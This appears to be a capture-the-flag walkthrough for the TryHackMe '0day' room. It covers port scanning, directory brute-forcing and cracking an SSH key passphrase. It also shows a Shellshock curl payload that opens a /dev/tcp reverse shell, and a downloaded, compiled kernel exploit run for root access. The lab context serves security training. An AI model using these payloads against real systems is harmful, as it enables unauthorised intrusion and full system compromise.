# 0day

**Room Link:** [https://tryhackme.com/room/0day](https://tryhackme.com/room/0day)



### Initial Scan

**Kali**

<pre><code><strong>nmap -A $VICTIM
</strong></code></pre>

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FDZLZYWZ5Ln5uTIQDNtxx%2Fimage.png?alt=media&#x26;token=ccb9ecd5-9e43-40e0-aa53-3a01e503e4e2" alt=""><figcaption></figcaption></figure>

### Scan all ports

**Kali**

<pre><code><strong>nmap -sV -sT -O -p 1-65535 $VICTIM
</strong></code></pre>

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2F16lQknYZ5YC40J8DqRkL%2Fimage.png?alt=media&#x26;token=0498b91b-5b43-4ed6-85e3-ecc23ec125cb" alt=""><figcaption></figcaption></figure>

### TCP/80 - HTTP

**Kali**

```
gobuster dir -u http://$VICTIM -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,html,txt
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FUmpLR51jzCt6Gr3WrpYf%2Fimage.png?alt=media&#x26;token=84b1e553-b9f4-44cc-8a60-0b25c7a0fd30" alt=""><figcaption></figcaption></figure>





This appeared to be a rabbit hole but I found a key and was able to bruteforce the password for it.

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FGNWHGUKhF37nSsxbB7f7%2Fimage.png?alt=media&#x26;token=d3fd2cde-7eef-45ae-86ff-6a32f3502020" alt=""><figcaption></figcaption></figure>

**Kali**

```
chmod 600 id_rsa
/opt/john/ssh2john.py id_rsa > id_john.txt
john --wordlist=/usr/share/wordlists/rockyou.txt id_john.txt 
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FrXdydU0IKOLFNUNULOMs%2Fimage.png?alt=media&#x26;token=249b30ce-6ef4-4f81-801a-ece3076429ed" alt=""><figcaption></figcaption></figure>

I found a cgi file. i tried checking if it was vulnerable to shellshock which wasn't working but it was vulnerable.&#x20;

**Kali**

```
gobuster dir -u http://$VICTIM/cgi-bin/ -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,html,txt,cgi
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2Fli5vWpbKnnc1z4cN3Zyv%2Fimage.png?alt=media&#x26;token=d2283279-f63f-426e-a086-05f783007d28" alt=""><figcaption></figcaption></figure>

## Initial Shell

**Link:** [https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/cgi](https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/cgi)

**Kali#1**

```
nc -lvnp 4242
```

**Kali #2**

```
curl -H 'Cookie: () { :;}; /bin/bash -i >& /dev/tcp/$KALI/4242 0>&1' http://$VICTIM/cgi-bin/test.cgi 
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FjYeTM5LfUjY0BwsYw6KM%2Fimage.png?alt=media&#x26;token=7d8ecf30-2898-45f3-a63f-e1f6afad6d21" alt=""><figcaption></figcaption></figure>

Get autocomplete

```
python -c 'import pty; pty.spawn("/bin/bash")'
ctrl + Z
stty raw -echo;fg
```



## Privilege Escalation

**Victim**

```
uname -a 
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FxgncH0KiZx84J14XkCIf%2Fimage.png?alt=media&#x26;token=37de3e29-9c09-4aea-96ee-c8f5ffe64b2d" alt=""><figcaption></figcaption></figure>

**Kali**

```
searchsploit 3.13.0
searchsploit -m linux/local/37292.c
gcc 37292.c -o exploit
python2 -m SimpleHTTPServer 81
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2F2PQLCchT32ut1xIeEK6x%2Fimage.png?alt=media&#x26;token=7a631fe2-421e-415a-8e4d-eb7f96c21eb2" alt=""><figcaption></figcaption></figure>

The exploit didn't work as it's complaining that it can't create dynamic library

**Victim**

```
cd /tmp/
wget http://10.10.91.55:81/exploit
chmod +x exploit
./exploit
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2Fo20rCtCPxEsClypiLVCK%2Fimage.png?alt=media&#x26;token=e109a9fb-d2cc-4d50-b603-ee5af5712a47" alt=""><figcaption></figcaption></figure>

To fix this we just had to export the binpath from the machine

**Victim**

```
export PATH=/usr/local/bin:/usr/local/sbin:/usr/bin:/usr/sbin:/bin:/sbin
./exploit
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FNHkGZ8MCIHYwXRua9WP1%2Fimage.png?alt=media&#x26;token=88b43ab3-5c9e-4013-a7cd-c8d46df1dae6" alt=""><figcaption></figcaption></figure>



